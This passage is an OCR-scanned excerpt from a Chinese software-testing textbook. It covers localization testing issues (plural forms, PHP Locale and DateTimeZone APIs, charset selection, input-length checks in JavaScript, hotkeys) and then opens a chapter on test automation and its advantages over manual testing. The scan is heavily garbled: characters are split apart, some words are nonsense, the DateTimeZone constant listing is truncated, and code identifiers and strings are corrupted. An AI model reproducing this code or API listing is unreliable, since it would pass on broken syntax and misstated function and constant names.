生成 复数 的 规则 因 语 言 的 不 同 而 有 差异 。 即 使 在 英语 中 ,复数 的 规则 也 并 不 是 始终 如 
一 的 ,如 “bed” 的 复数 是 “beds”, 而 “leaf” 的 复数 却 不 是 “leafs”, 以 下 例子 说 明了 复数 的 问 
题 ,如 : 


“ % d program % s searched” 


All 
“gd file % s searched” 
WER Yd KF 1,%s 将 把 “s” 插 入 到 该 单词 中 从 而 组 成 其 复数 形式 , 则 该 信息 显示 格式 如 下 : 
“1 program searched” and “1 file searched” 

或 者 


“3 programs searched” and “3 files searched.” 


在 英语 中 ,这 样 编码 是 没有 问题 的 ,但 是 对 于 德语 和 多 数 其 他 欧洲 语言 ,它们 的 复数 规 
则 却 不 是 这 样 的 ,如 : 


program = programma 
programs = programma's 
file = bestand 

files = bestanden 


在 做 本 地 化 测试 的 时 候 ,特别 要 注意 这 些 地 方 是 否 被 充分 地 考虑 并 做 了 适当 的 修改 。 


PHP 支持 国际 化 和 本 地 化 特性 

PHP 语言 从 PHP5 版 本 更 好 地 支持 国际 化 和 本 地 化 的 需要 。 例 如 ,定义 了 一 个 
locale 类 ,覆盖 了 语言 .区域 ` 姓 名 等 ; 定义 了 一 个 DateTimeZone 类 来 处 理 全 球 主要 国 
家 的 时 区 。 可 以 在 hp. ini 文件 中 设 定 区 域 和 时 区 , 即 date. timezone 设置 为 特定 时 区 (如 
Etc/GMT-8 或 Asia/Beijing) ,也 可 以 在 PHP 程序 里 用 date_default_timezone_set() 设 置 。 

使 用 setlocale(string category. string locale) ,locale_set_default(string $ name) „date 
_default_timezone_set() 设 置 本 地 化 环境 。 然 后 使 用 如 money_format()、number_format()、 
strftime() 及 localeconv() 等 函数 ,就 能 获得 货币 ,数字 、 时 间 等 格式 化 的 数据 ,例如 : 

<?php 

date_default_timezone_set( 'Europe/Helsinki'); 

setlocale(LC_ALL, 'nl_NL'); 


echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978)); 
?> 


Locale { 


/* Methods */ 

static string acceptFromHttp ( string $ header ) 

static string composeLocale ( array $ subtags ) 

static bool filterMatches ( string $ langtag , string $ locale ) 

static array getAllVariants ( string $ locale ) 

static string getDefault ( void ) 

static string getDisplayLanguage ( string $ locale [, string $ in_locale ] ) 
static string getDisplayName ( string $ locale [, string $ in_locale ] ) 
static string getDisplayRegion ( string $ locale [, string $ in_locale ] ) 
static string getDisplayScript ( string $ locale [, string $ in_locale ] ) 
static string getDisplayVariant ( string $ locale [, string $ in_locale ] ) 
static array getKeywords ( string $ locale ) 

static string getPrimaryLanguage ( string $ locale ) 

static string getRegion ( string $ locale ) 

static string getScript ( string $ locale ) 

static string lookup ( array $ langtag , string $ locale) 

static array parseLocale ( string $ locale ) 

static bool setDefault ( string $ locale ) 


DateTimeZone { 
/* Constants * / 
const 
const i 
const i 
const i 


const integer DateTimeZon 


const integer DateTimeZone:: ATLANTIC = 32 ; 
const integer DateTimeZone:: AUSTRALIA = 64 ; 
const i 
const i 
const 
const integer DateTimeZon 
const integer DateTimeZon = 2047 ; 

const integer DateTimeZone::ALL_WITH_BC = 4095 ; 
const integer DateTimeZone:: PER COUNTRY = 4096 ; 
/* Methods « / 

public construct ( string $ timezone ) 


public array getLocation ( void ) 
public string getName ( void ) 
public int getOffset ( DateTime $ datetime ) 
public array getTransitions ([ int $ timestamp_begin [, int $ timestamp_end ]] ) 
public static array listAbbreviations ( void ) 
public static array listIdentifiers ([ int $ what = 
DateTimeZone:: ALL [, string $ country = NULL ]] ) 
} 


10.3.2 页 面 显 示 和 布局 


在 有 些 本 地 化 软件 中 ,有 时 会 发 现 乱码 的 问题 ,这 是 由 于 没有 设置 相应 的 本 地 化 字符 集 
或 字符 编码 方式 不 支持 本 地 化 语言 所 致 ,不 同 的 浏览 器 或 邮件 接收 软件 的 编码 .解码 方式 不 
同 ,解决 这 类 问题 的 方法 是 : 

(1) 开发 本 地 化 时 应 用 自 定义 函数 GetCurCharset()。 


function GetCurCharSet() // bind charset to language 
{ 


$ CharSet = "iso - 8859 - 1"; // 标 准 字符 集 
$ LanguageID = GetCurLanguageID(); 

if ( $ LanguageID == 3) $ CharSet = "gb2312"; // 简 体 中 文 版 
if ( $ LanguageID == 4) $ CharSet = "big5"; // 繁 体 中 文 版 
if ( $ LanguageID == 5) $CharSet="shift_jis";  // 日 文 版 

if ( $ LanguageID == 6) $ CharSet = "euc — kr"; // 韩 文 版 


return $ CharSet; 
} 


这 个 函数 中 调用 了 另 一 个 自 定 义 函 数 GetCurLanguagelDQ ,而 函数 的 值 是 通过 本 机 的 
Cookies 取 到 的 ,这 样 可 以 通过 GetCurCharset() 调 用 该 函数 来 判断 采用 相应 的 字符 集 。 


function GetCurLanguageID() // 取 得 相应 的 语言 版 本 
{ 
$ LanguageID = GetCookie("CK_LanguageID ".GetSiteConfig("SiteID")); 
if (intval( $ LanguageID) == 0) 
$ LanguageID = GetLanguageIDFromUr1(BrandName( ) ) ; 


return intval( $ LanguageID) ; 
} 


(2) 针对 不 同 的 浏览 器 采取 不 同 的 解码 方法 。 


Function Preview( form ) { 
var NS4 = (document. layers && !dom )? 1:0; 
var NS6 = (navigator. vendor == ("Netscape6") | |navigator. product == ("Gecko")); 
var message; 
var re=/\+/g; 
if (NS4>0) 
message = escape( form. welmsg. value) ; 
else if(NS6>0) 
message = form. welmsg. value; 


else 

message = form. welmsg. innerHTML; 
if (message. indexOf("+")! = -1){ 

var wmessage = message. replace(re," % 2B") ; 
} 


else wmessage = message; 
form. AT. value = "Submit"; 
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form. preview. value = "true"; 


var sTemp; 
if (NS4>0 || NS6>0) 
sTemp = form. welmsg. value; 
else 
sTemp = form. welmsg. innerHTML; 
if (getStrLength(sTemp)> 128) 
{ 
alert(" 欢 迎 消息 不 能 超过 128 个 字符 ."); // 给 出 警告 提示 
form. welmsg. focus( ); 
} 
else 
window. open ( "/<? = PersonalLobbyPath( )?> index. php? username = <? = rawurlencode ( str _ 
replace("&quot;","\"", $ repinfo[ "UserName" ] ) )?> &preview = true&welmsg = " + wmessage) ; 


} 

由 于 源 代码 没有 充分 考虑 到 国际 化 (118n) 版 本 的 要 求 , 很 多 软件 本 地 化 之 后 在 页 面 的 
外 观 上 会 出 现 一 些 不 尽 人 意 的 地 方 ,如 没有 翻译 的 字段 .对齐 问题 大 小 写 问题 文字 遮挡 图 
像 问题 .乱码 显示 问题 等 。 这 些 有 表格 设 定 所 产生 的 问题 ,也 有 未 考虑 翻译 后 的 文字 扩展 而 
产生 的 设计 问题 。 测 试 人 员 应 及 时 指出 这 些 错误 ,让 开发 人 员 尽快 修改 。 


10.3.3 配置 和 兼容 性 问题 


测试 本 地 化 软件 的 时 候 , 其 配置 和 兼容 性 也 是 必须 考虑 的 问题 。 配 置 性 主要 指 依赖 于 
各 国语 言 的 硬件 设置 问题 ,如 键盘 布局 ,打印 机 配置 等 。 软 件 可 能 会 用 到 的 任何 外 设 都 要 在 
平台 配置 和 兼容 性 测试 的 等 价 区 间 中 考虑 。 兼 容 性 包括 与 硬件 的 兼容 性 .与 上 一 版 本 的 数 
据 兼容 及 与 其 他 本 地 化 软件 的 兼容 性 等。 

1, 数据 库 问题 


软件 本 地 化 同时 也 涉及 数据 库 的 改动 ,比如 由 于 文本 的 maxlen 属性 只 限制 输入 字符 
而 非 字 节 长 度 或 非 ASCII 码 ,特别 是 多 字 节 字符 解析 成 NCR 形式 (&# dddd;), 导 致 输入 
的 字符 长 度 超出 数据 库 字 段 宽度 ,这 就 是 由 数据 库 而 产生 的 问题 。 

在 本 地 化 过 程 中 ,应 视 情况 而 定 。 比 如 可 以 在 输入 页 面 提交 之 前 ,检测 输入 字符 的 宽度 
是 否 超 长 或 显示 数据 库 操作 错误 ,如 : 


< form name = AddVis > 
< input name = "V_Name" type = text value = ""> 
< input type = submit value = "ok" onsubmit = "javascript :checkinput()"> 


function getStrLength(StrTemp) // 取 字符 长 度 
{ 
var strInput = "" + StrTemp; 
var i, sum; 
sum = 0; 
//alert("string lengh=" + strInput. length); 


for(i=0;i<strInput. length; i++ ) 
{ 
if ( (strInput. charCodeAt( i)> = 0) &&(strInput. charCodeAt(i)<= 255) ) 
sum = sum + 1; 
else 
sum = sum + 2; 
} 
//alert("actual lengh=" + sum); 
return sum; 
} 
function checkinput() // 检 查 输 入 字符 的 长 度 
{ 
if( getStrLength( document. AddVis. V_Name. value)> 64) 
{ 
alert("The input string must be less than 64. "); // 给 出 警告 提示 
document. AddVis. V_Name. focus( ) ; 
return false ; 


} 


2. AR 

在 做 本 地 化 测试 的 时 候 , 还 有 一 个 不 能 忽略 的 问题 , 即 热 键 问题 。 许 多 程序 都 为 不 同 的 
命令 设置 了 热 键 (键盘 快捷 方式 )。 比 如 ,在 微软 的 Word 中 ,可 以 同时 按 下 Ctrl 和 下 键 打 
开 “ 查 找 ” 对 话 框 。 热 键 Ctrl 十 F 就 是 代替 鼠标 来 选择 Word 编辑 菜单 中 查找 命令 的 简捷 方 
式 。 通 常 ,文字 被 翻译 之 后 ,原来 的 热 键 很 可 能 不 再 适用 ,需要 为 翻译 过 的 文本 设 定 新 的 热 
键 ,比如 , 当 “Close” 被 翻译 成 德语 “SchlieBen” 之 后 , 原 有 的 热 键 Alt 十 C 也 应 该 相应 地 变 为 
Alt 十 S。 新 的 热 键 应 该 和 本 地 操作 系统 环境 相 匹 配 ,确保 所 有 的 热 键 都 是 唯一 的 。 不 过 中 
国 , 日 本 和 韩国 的 版 本 ,都 沿用 英文 原 有 的 热 键 ,所 以 本 地 化 之 后 不 存在 这 个 问题 。 

此 外 ,还 有 很 多 应 该 注意 的 技术 问题 ,如 对 于 欧洲 语言 的 本 地 化 ,大 小 写字 母 转换 的 问 
题 . 连 字符 号 连接 规则 .键盘 的 问题 等 。 对 于 有 些 国 家 的 本 地 化 ,例如 希 伯 莱 文 和 阿拉 伯 文 
还 要 考虑 文字 显示 方向 的 问题 等 。 


10.4 本 地 化 的 功能 测试 


软件 本 地 化 是 一 个 再 创造 的 过 程 , 不 仅 包括 翻译 人 员 的 劳动 ,技术 人 员 的 再 加 工 , 而 且 
包括 测试 人 员 的 层 层 把 关 。 软 件 本 地 化 之 后 ,把 它 当 作 新 的 版 本 来 对 待 ,针对 改动 的 地 方 进 
行 充分 的 测试 ,特别 是 前 面 介绍 的 翻译 问题 和 技术 问题 ,并 完成 相应 的 回归 功能 测试 。 

任何 一 件 产品 ,人 们 最 关心 的 还 是 它 所 能 提供 的 服务 ,所 以 功能 的 实现 总 是 很 重要 的 。 
要 验证 一 个 软件 是 否 被 正确 地 本 地 化 ,要 在 相对 真实 的 环境 下 对 软件 所 有 功能 进行 测试 。 
关于 本 地 化 软件 的 功能 测试 ,可 以 和 源 语 言 版 本 相对 比 来 进行 测试 。 此 外 ,还 要 注意 是 否 能 
够 正确 地 输入 目标 语言 ,输入 之 后 是 否 能 够 正确 显示 等 。 

1. 联机 文档 的 功能 测试 

就 像 打 印 好 的 文档 一 样 ,测试 人 员 应 该 验证 任何 一 个 联机 文档 的 有 效 性 、 可 用 性 。 本 地 


化 软件 测试 人 员 应 该 对 它们 进行 功能 测试 ,以 确保 它们 能 够 正常 工作 ,并 且 与 目标 市 场 的 要 
求 一 致 。 

不 论 是 PDF 还 是 HTML 格式 的 联机 文档 都 应 该 在 目标 语言 的 操作 系统 下 测试 ,确保 
其 功能 能 够 实现 ,字符 能 够 正确 显示 ,一 般 来 说 ,主要 检测 这 些 文件 的 : 

。 与 目标 语言 操作 系统 的 兼容 性 ; 

。 字体 和 图 形 能 够 正确 显示 ; 
与 本 地 化 的 Acrobat Reader 版 本 和 HTML 浏览 器 兼容 ; 
超 链 接 的 正常 跳 转 。 

2. 页 面 内 容 和 图 片 

在 页 面 测试 时 应 时 时 提醒 自己 ,HTML 页 面 上 有 些 文字 不 是 一 眼 就 能 看 到 的 ,如 : 

。 显示 在 浏览 器 界面 顶部 的 页 面 的 标题 。 

。 图 片 的 标题 , 当 图 片 正在 下 载 或 者 用 户 鼠 标 指向 该 图 形 时 所 显示 的 Alt 属性 。 

+ 超 链 接 的 标题 。 

确保 这 些 内 容 也 被 本 地 化 处 理 了 。 

3. Web 链接 和 高 级 选项 

测试 员 需 要 关注 页 面 上 的 超 链 接 未 被 本 地 化 的 部 分 或 者 链接 到 其 他 未 被 本 地 化 的 站 点 
上 去 ,和 否则 应 用 目标 语言 在 这 些 链接 旁 给 出 提示 ,指出 这 些 站 点 是 源 语言 的 。 网 站 日 益 注 重 
提供 更 多 的 动画 效果 ,如 Flash, 需 要 针对 这 些 动画 效果 进行 测试 。 还 要 检查 浏览 器 一 些 高 
级 选项 , 如 JavaScript 脚本 和 ActiveX applets 等 相关 的 设置 ,以 了 解 应 用 软件 是 否 受 到 
影响 。 


小 结 


国际 化 是 本 地 化 的 基础 和 前 提 , 本 地 化 是 国际 化 向 特定 本 地 语言 环境 的 转换 ,其 理想 的 
状态 是 , 源 语言 版 本 要 按照 国际 化 版 本 的 要 求 去 做 ,本 地 化 本 身 不 应 该 再 给 该 软件 增加 新 的 
功能 缺陷 。 然 而 ,如 果 该 软件 没有 充分 地 国际 化 ,在 本 地 化 过 程 中 就 很 有 可 能 会 产生 新 的 功 
能 性 方面 的 问题 ,包括 功能 调用 出 错 、 输 入 和 输出 问题 等 。 

翻译 仅 是 软件 本 地 化 的 一 部 分 工作 ,软件 本 地 化 实际 是 一 项 技术 工作 ,要 处 理 字符 集 问 
题 数据 格式 、 页 面 显 示 和 布局 .配置 和 兼容 性 等 问题 。 在 测试 过 程 中 ,应 该 特别 注意 这 些 方 
面 的 问题 ,特别 是 时 区 日 期 \ 时 间 、 货 币 、 度 量 衡 、 姓 名、 复数 等 的 处 理 和 显示 。 为 确保 本 地 
化 后 软件 产品 的 质量 ,本 地 化 的 产品 应 该 在 配置 有 目标 语言 操作 系统 的 计算 机 上 进行 测试 。 
本 地 化 的 翻译 人 员 ,培训 人 员 和 技术 支持 人 员 也 最 好 参与 到 本 地 化 的 测试 中 来 ,以 保证 该 测 
试 的 全 面 性 和 完整 性 。 


思考 题 


1. 为 什么 要 进行 软件 本 地 化 ? 
2. 软件 本 地 化 和 软件 国际 化 有 什么 关系 ? 


3. 为 什么 说 软件 本 地 化 不 等 同 于 翻译 ? 

4. 软件 本 地 化 测试 中 应 该 着 重 于 哪些 方面 ? 

5. 进行 软件 本 地 化 测试 是 否 必须 通晓 该 目标 语言 ? 为 什么 ? 

6. 假设 需要 测试 某 一 软件 的 日 语 本 地 化 版 本 ,请 问 需 要 做 哪些 方面 的 准备 ? 请 一 一 
列举 。 


CHAPTER 11 
#115 


软件 测试 自动 化 


软件 测试 是 一 项 艰苦 的 工作 ,需要 投入 大 量 的 时 间 和 精力 , 据 统 
计 , 软 件 测试 会 占用 整个 开发 时 间 的 40%。 一 些 可 靠 性 要 求 非常 高 
的 软件 ,测试 时 间 甚至 占 到 总 开发 时 间 的 60%。 但 是 软件 测试 工作 
有 具有 比较 大 的 重复 性 ,我 们 知道 ,软件 在 发 布 之 前 都 要 进行 几 轮 测试 ， 
也 就 是 说 大 量 的 测试 用 例会 被 执行 几 遍 。 在 测试 后 期 所 进行 的 回归 
测试 ,大 部 分 测试 工作 是 重复 的 。 回 归 测 试 就 是 要 验证 已 经 实现 的 大 
部 分 功能 ,这 种 情况 下 ,只 是 为 了 解决 软件 缺陷 、 需 求 变化 ,代码 修改 
很 少 ,针对 代码 变化 所 做 的 测试 相对 比较 少 ,而 为 了 覆盖 代码 改动 所 
造成 的 影响 而 要 进行 大 量 的 测试 ,虽然 回归 测试 找到 软件 缺陷 的 可 能 
性 很 小 ,效率 比较 低 , 但 又 是 必要 的 。 此 后 ,软件 产品 版 本 不 断 更 新 ， 
不 断 增加 功能 或 修改 功能 ,期 间 所 进行 的 测试 工作 重复 性 也 很 高 ,所 
有 这 些 因素 驱动 着 软件 自动 化 的 产生 和 发 展 。 

软件 测试 实行 自动 化 进程 , 绝 不 是 因为 厌烦 了 测试 的 重复 工作 ， 
而 是 测试 工作 的 需要 , 即 完成 手工 测试 所 不 能 完成 的 任务 ,提高 测试 
效率 和 测试 结果 的 可 靠 性 、 准 确 性 和 客观 性 ,提高 测试 覆盖 率 ,保证 测 
试 工作 的 质量 。 

本 章 将 主要 介绍 软件 测试 自动 化 的 概念 原理 和 方法 、 如 何 引 入 
和 实施 自动 化 测试 以 及 各 种 类 型 的 测试 工具 ,使 读者 全 面 掌 握 软件 测 
试 自动 化 的 有 关 知 识 和 技能 。 


11.1 测试 自动 化 的 内 涵 


自动 化 测试 (automated test) 是 相对 手工 测试 (manual test) 而 存 
在 的 一 个 概念 ,由 手工 逐个 地 运行 测试 用 例 的 操作 过 程 被 测试 工具 或 
系统 自动 执行 的 过 程 所 代替 ,包括 输入 数据 自动 生成 、 结 果 的 验证 、 自 
动 发 送 测 试 报 告 等 。 主 要 是 通过 所 开发 的 软件 测试 工具 、 脚 本 
(Script) 等 来 实现 ,具有 良好 的 可 操作 性 、 可 重复 性 和 高 效率 等 特点 。 
测试 自动 化 是 软件 测试 中 提高 测试 效率 、 履 盖 率 和 可 靠 性 等 的 重要 手 
段 ,也 可 以 说 ,测试 自动 化 是 软件 测试 不 可 分 割 的 一 部 分 。 


11.1.1 手工 测试 的 局 限 性 


测试 人 员 在 进行 手工 测试 时 ,具有 创造 性 ,可 以 举一反三 ,从 一 个 测试 用 例 , 想 到 新 的 一 
些 测 试 场景 ,包括 原 有 测试 用 例 没 有 覆盖 的 、 特 殊 的 情况 或 边界 条 件 。 同 时 ,对 于 那些 复杂 
的 逻辑 判断 ,界面 是 否 友好 ,手工 测试 具有 明显 的 优势 。 但 是 ,简单 的 功能 性 测试 用 例 在 每 
一 轮 测 试 中 都 不 能 少 , 而 且 具 有 一 定 的 机 械 性 ,重复 性 ,其 工作 量 往往 较 大 ,无 法 体现 手工 测 
试 的 优越 性 。 如 果 让 手工 做 重复 的 测试 ,容易 引起 测试 人 员 的 乏味 ,严重 影响 工作 情绪 等 。 
而 且 , 手 工 测试 在 某 些 方面 其 至 束手无策 、 无 法 实现 测试 的 目标 ,存在 着 一 定 的 局 限 性 ， 
例如 : 

D 通过 手工 测试 无 法 做 到 覆盖 所 有 代码 路 径 , 也 难以 测定 测试 的 覆盖 率 。 

(2) 通过 手工 测试 很 难 捕捉 到 与 时 序 、 死 锁 资源 冲突 、 多 线程 等 有 关 的 错误 。 

G) 在 系统 负载 ,性 能 测试 时 ,需要 模拟 大 量 数据 或 大 量 并 发 用 户 等 大 负载 的 应 用 场 
合 , 例 如 ,模拟 1 万 个 客户 访问 某 个 网 站 ,而 不 可 能 安排 1 万 个 测试 人 员 在 1 万 台 计 算 机 上 
进行 操作 ,没有 测试 工具 的 帮助 是 无 法 想象 的 。 

(4) 在 系统 可 靠 性 测试 中 ,需要 模拟 系统 运行 几 年 .十 几 年 ,以 验证 系统 能 否 稳定 运行 ， 
也 是 手工 测试 无 法 模拟 的 。 

(5) 在 回归 测试 中 ,多 数 情况 下 时 间 很 紧 ,希望 一 天 能 完成 成 千 上 万 个 测试 用 例 的 执 
行 。 手 工 测试 又 怎么 办 呢 ? 即 使 让 测试 人 员 通 宵 达 旦 地 工作 ,也 干 不 完 。 

(6) 测试 可 以 发 现 错误 ,并 不 能 表明 程序 的 正确 性 。 因 为 不 论 黑 盒 . 白 盒 都 不 能 实现 穷 
举 测试 。 对 一 些 关键 程序 ,如 导弹 发 射 软件 , 则 需要 考虑 利用 数学 归纳 法 或 谓词 演算 等 进行 
正确 性 验证 。 


11.1.2 什么 是 测试 自动 化 


谈 到 自动 化 测试 ,一般 就 会 提 到 测试 工具 。 许 多 人 觉得 使 用 了 一 两 个 测试 工具 就 是 实 
现 了 测试 自动 化 ,这 种 理解 是 不 对 的 ,至 少 是 片面 的 。 的 确 , 测 试 工具 的 使 用 是 自动 化 测试 
的 一 部 分 工作 ,但 “用 测试 工具 进行 测试 "不 等 于 “自动 化 测试 ”。 那 什么 是 “自动 化 测试 ? 呢 ? 

自动 化 测试 是 把 人 为 驱动 的 测试 行为 转化 为 机 器 执行 的 一 种 过 程 , 即 模拟 手工 测试 步 
又 ,通过 执行 由 程序 语言 编制 的 测试 脚本 ,自动 地 完成 软件 的 单元 测试 .功能 测试 .负载 测试 
或 性 能 测试 等 全 部 工作 。 自 动 化 测试 集中 体现 在 实际 测试 被 自动 执行 的 过 程 上 ,也 就 是 由 
手工 逐个 地 运行 测试 用 例 的 操作 过 程 被 测试 工具 自动 执行 的 过 程 所 代替 。 自 动 化 测试 , 虽 
然 需要 借助 测试 工具 ,但 是 仅仅 使 用 测试 工具 还 不 够 ,还 需要 借助 网 络 通信 环境 .邮件 系统 、 
系统 Shell 命令 ,后 台 运 行程 序 、 改 进 的 开发 流程 等 ,由 系统 自动 完成 软件 测试 的 各 项 工作 ， 
例如 : 

。 测试 环境 的 搭建 和 设置 ,如 自动 上 传 软件 包 到 服务 器 并 完成 安装 ; 

。 基 于 模型 实现 测试 设计 的 自动 化 ,或 基于 软件 设计 规格 说 明 书 实现 测试 用 例 的 自动 

生成 ; 
。 脚本 自动 生成 ,如 根据 UML 状态 图 、 时 序 图 等 生成 可 运行 的 测试 脚本 ; 
"测试 数据 的 自动 产生 ,例如 通过 SQL 语句 在 数据 库 中 产生 大 量 的 数据 记录 ,用 于 


测试 ; 

。 测试 操作 步骤 的 自动 执行 ,包括 软件 系统 的 模拟 操作 测试 执行 过 程 的 监控 ; 

。 测试 结果 分 析 ,实际 输出 和 预期 输出 的 自动 对 比分 析 ; 

。 测试 流程 (工作 流 ) 的 自动 处 理 , 包 括 测试 计划 复审 和 批准 ,测试 任务 安排 和 执行 、 缺 

陷 生 命 周 期 等 自动 化 处 理 ; 
。 测试 报告 自动 生成 功能 等 。 
这 样 ,测试 自动 化 意味 着 测试 全 过 程 的 自动 化 和 测试 管理 工作 的 自动 化 。 如 果 使 整个 
软件 测试 过 程 完全 实现 自动 化 ,而 不 需要 丝毫 的 人 工 参与 或 干涉 ,这 是 不 现实 的 。 虽 然 不 能 
完美 地 实现 测试 自动 化 ,但 是 ,我 们 理应 每 时 每 刻 向 这 个 方向 努力 ,不 断 地 间 自 己 一 一 这 些 
测试 工作 能 否 由 软件 系统 或 工具 来 自动 完成 ? 在 测试 计划 设计、 实施 和 管理 的 任何 时 刻 ， 
始终 寻求 更 有 效 、 更 可 靠 的 方法 和 手段 ,以 有 助 于 提高 测试 的 效率 。 所 以 ,有 人 更 希望 将 测 
试 自动 化 解释 成 “能 够 使 测试 过 程 简单 并 有 效率 、 使 测试 过 程 更 为 快捷 而 没有 延误 的 方法 或 
努力 ”。 从 这 里 可 以 认识 到 , “全 过 程 的 自动 化 测试 ?思想 是 非常 重要 的 ,会 改变 我 们 测试 工 
作 的 思维 改变 我 们 测试 的 生活 ,将 测试 带 到 一 个 新 的 境界 。 
自动 化 测试 是 相对 手工 测试 而 存在 的 ,所 以 自动 化 测试 的 真正 含义 可 以 理解 为 “一 切 可 
以 由 计算 机 系统 自动 完成 的 测试 任务 都 已 经 由 计算 机 系统 或 软件 工具 、 程 序 来 承担 并 自动 
执行 "。 它 包含 了 下 列 三 层 含 义 ， 
e “一切 ”, 不 仅仅 指 测试 执行 的 工作 一 一 对 被 测试 的 对 象 进行 验证 ,还 包括 测试 的 其 
他 工作 ,如 缺陷 管理 测试 管理 ,环境 安装 .设置 和 维护 等 。 

。“ 可 以 ”, 意 味 着 某 些 工作 无 法 由 系统 自动 完成 ,如 脚本 的 开发 ,测试 用 例 的 设计 , 需 
要 创造 性 ,其 工作 需要 手工 处 理 。 

。 即使 由 系统 进行 自动 化 测试 ,还 少不了 人 工 干 预 ,包括 事先 安排 自动 化 测试 任务 、 测 
试 结果 分 析 、 调 试 测试 脚本 等 。 


11.1.3 软件 测试 自动 化 的 优势 


由 于 手工 测试 的 局 限 性 ,软件 测试 借助 测试 工具 成 为 必要 。 自 动 化 测试 由 计算 机 系统 
自动 来 完成 ,由 于 机 器 执行 操作 速度 快 ,也 不 会 劳累 ,可 以 24 小 时 连续 工作 ,而 且 会 严格 按 
照 所 开发 的 脚本 、 指 令 进行 ,不 会 有 半点 差错 ,所 以 自动 化 测试 的 优势 也 很 明显 : 

。 自动 运行 的 速度 快 .执行 效率 高 ,是 手工 无 法 相 比 的 ; 

永 不 疲劳 。 手 工 进行 测试 会 感觉 累 , 测 试 人 员 一 天 正常 工作 时 间 是 8 小 时 ,最 多 工 
作 十 几 个 小 时 ,而 机 器 不 会 感觉 累 , 可 以 不 间断 地 工作 ,每 周 可 以 工作 7 天 ,每 天 可 
以 工作 24 小 时 。 

测试 结果 准确 。 例 如 搜索 用 时 是 0. 33 秒 或 0. 24 秒 ,系统 都 会 发 现 问题 ,不 会 忽视 
任何 差异 。 

可 靠 。 人 可 以 撒谎 ,计算 机 不 会 弄虚作假 。 对 同一 个 被 测 系统 .用 相同 的 脚本 进行 测 
试 ,结果 是 一 样 的 ,而 手工 测试 容易 出 错 ,其 至 有 些 用 例 没 被 执行 ,可 以 说 “执行 了 ”。 
可 复 用 性 。 一 旦 完成 所 用 的 测试 脚本 ,可 以 一 劳 永 逸 运行 很 多 遍 。 

特别 的 能 力 。 有 些 手工 测试 做 不 到 的 地 方 ,自动 化 测试 可 以 做 到 。 例 如 ,对 一 个 网 
站 进行 负载 测试 ,要 模拟 1000 个 用 户 同时 (并 发 ) 访 问 这 个 网 站 。 如 果 用 手工 测试 ， 


需要 1000 个 测试 人 员 参 与 ,对 绝 大 多 数 软件 公司 是 不 可 能 的 。 这 时 ,如 果 让 机 器 执 
行 这 个 任务 ,假如 每 台 机 器 能 同时 执行 20 个 进程 ,只 需要 50 台 机 器 就 可 以 了 。 

正 是 这 些 特 点 ,软件 测试 自动 化 可 以 弥补 手工 测试 的 不 足 ,给 软件 测试 带 来 不 少 益处 。 

(1) 缩短 软件 开发 测试 周期 ,软件 自动 化 测试 具有 速度 快 .永远 不 知 疲倦 等 特点 ,对 同 
样 的 上 千 个 测试 用 例 ,软件 测试 自动 化 工具 可 以 在 很 短 时 间 内 完成 ,还 可 以 每 周 7 天 、 每 天 
24 小 时 不 间断 运行 ,能 不 厌 其 烦 地 运行 同样 的 测试 用 例 十 遍 .一 百 凯 等。 

(2) 更 高 质量 的 产品 ,因为 通过 测试 工具 运行 测试 脚本 ,能 保证 百分之百 地 完成 测试 ， 
而 且 测 试 结果 准确 、 可 靠 。 借 助 自动 化 测试 ,可 以 达到 更 高 的 测试 覆盖 率 ,而 且 每 天 可 以 完 
成 一 轮 测 试 ,更 早 地 发 现 问题 ; 测试 人 员 还 有 更 多 的 时 间 思考 ,来 完善 测试 用 例 。 

(3) 软件 过 程 更 规范 ,自动 化 测试 鼓励 测试 团队 规范 化 整个 过 程 , 包 括 开 发 的 代码 管理 
和 代码 包 的 构建 ,标准 的 测试 流程 以 及 一 致 性 的 文档 记录 和 更 完善 的 度量 。 

(4) 测试 效率 高 ,充分 利用 硬件 资源 。 可 以 一 面 运 行 某 个 测试 工具 的 同时 ,运行 另 一 个 
测试 工具 ,也 可 以 一 面 运行 某 个 测试 工具 的 同时 而 思考 新 的 测试 方法 或 设计 新 的 测试 用 例 ， 
能 够 把 大 量 测试 个 案 分 配 到 各 人 台 机 器 上 去 同时 运行 ,就 能 节省 大 量 的 时 间 。 也 可 以 把 大 量 
的 系统 测试 及 回归 测试 安排 到 夜间 及 周末 运行 ,更 能 提高 效率 ,如 在 下 班 前 将 所 有 要 运行 的 
测试 脚本 (用 脚本 语言 写成 的 \ 模 拟 手工 完成 特定 测试 任务 的 程序 或 指令 ?准备 好 ,并 启动 测 
试 工具 ,第 二 天 一 上 班 就 能 拿 到 测试 结果 。 

(5) 节省 人 力 资源 ,降低 测试 成 本 。 在 回归 测试 时 ,如 果 是 手工 方式 ,就 需要 大 量 的 人 
力 去 验证 大 量 稳定 的 旧 功 能 ,而 通过 测试 脚本 和 测试 工具 ,只 要 一 个 人 就 可 以 了 ,可 以 省 去 
大 量 的 人 力 资 源 。 同 样 的 测试 用 例 , 需 要 在 很 多 不 同 的 测试 环境 (如 不 同 的 浏览 器 ,不 同 的 
操作 系统 ,不 同 的 连接 条 件 等 ) 下 运行 ,也 正 是 测试 工具 大 展 身手 的 地 方 。 

(6) 增强 测试 的 稳定 性 和 可 靠 性 ,通过 测试 工具 运行 测试 脚本 ,能 保证 百分之百 进行 。 
但 是 ,有 时 个 别 测试 人 员 并 没有 执行 那些 测试 用 例 , 但 他 可 能 有 意 或 无 意 地 告诉 你 ,他 已 经 
运行 了 所 有 测试 用 例 , 但 机 器 绝 不 会 ,一 是 一 ,二 是 二 ,所 有 安排 的 任务 会 得 到 完全 的 执行 。 

(7) 提高 软件 测试 的 准确 度 和 精确 度 ,也 就 是 提高 测试 的 质量 。 软 件 测试 自动 化 的 结 
果 都 是 客观 的 .量化 的 ,并 且 和 所 预期 结果 或 规格 说 明 书 规定 的 标准 进行 数字 化 的 对 比 , 任 
何 差异 都 能 发 现 , 而 且 任何 差异 也 不 会 被 忽视 。 

(8) 手工 不 能 做 的 事情 ,软件 测试 工具 可 以 完成 ,例如 负载 测试 ,性 能 测试 ,手工 很 难 进 
行 ,只 有 通过 工具 来 完成 。 

(9) 高 昂 的 团队 士气 ,因为 测试 人 员 有 更 多 机 会 学 习 编 程 . 获 取 新 技术 ,测试 工作 更 有 
趣 , 有 更 多 的 挑战 。 


11.2 测试 自动 化 实现 的 原理 


软件 测试 自动 化 实现 的 基础 是 可 以 通过 特定 的 程序 (包括 脚本 、 指 令 ) 模 拟 测试 人 员 对 
计算 机 的 操作 过 程 及 其 行为 ,如 测试 过 程 的 捕获 和 回放 ,其 中 最 重要 的 是 识别 用 户 界面 
